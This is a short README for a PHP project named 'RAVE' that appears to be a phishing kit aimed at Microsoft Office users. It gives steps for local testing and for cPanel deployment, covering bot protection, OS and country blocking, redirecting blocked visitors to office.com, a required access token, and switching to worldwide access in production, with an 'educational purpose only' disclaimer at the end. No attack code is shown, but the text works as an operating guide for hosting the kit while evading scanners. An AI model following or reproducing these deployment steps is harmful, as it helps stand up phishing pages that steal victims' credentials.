# RAVE Project

## Local Development & Testing

To test this project locally without being blocked, follow these steps:

1.  **Enable Dev Mode:**
    *   Open `RAVEConfi/Guration.php`.
    *   Ensure `$dev_mode = "on";` is set. This bypasses OS and country blocks.
    *   Ensure `$bot_protect = "on";` (optional, for testing protection).

2.  **Start Local Server:**
    *   Run: `php -S 127.0.0.1:8000` in the project root.

3.  **Run Diagnostics:**
    *   Visit: `http://127.0.0.1:8000/diagnose.php`
    *   This script will check if your environment (sessions, logs, config) is ready.

4.  **Start the Flow:**
    *   Visit: `http://127.0.0.1:8000/index.php` (The generic token `s` will be auto-generated in `dev_mode`)
    *   **Crucial:** For production, the generic dynamic token `s` is required.

5.  **Debugging:**
    *   All actions are logged in `storage/logs/rave.log`.
    *   If you get redirected to `office.com`, check the log to see why you were blocked.

## Deployment on cPanel

1.  **Upload:** Upload the entire folder to your cPanel `public_html`.
2.  **Permissions:** Ensure `storage/logs/` is writable (755).
3.  **Production Mode:** 
    *   Open `RAVEConfi/Guration.php`.
    *   Set `$dev_mode = "off";`.
    *   Set `$countryBlock = "false";` (to allow worldwide access).
4.  **Monitor:** Check `storage/logs/rave.log` for any production issues.

---
For Educational Purpose only
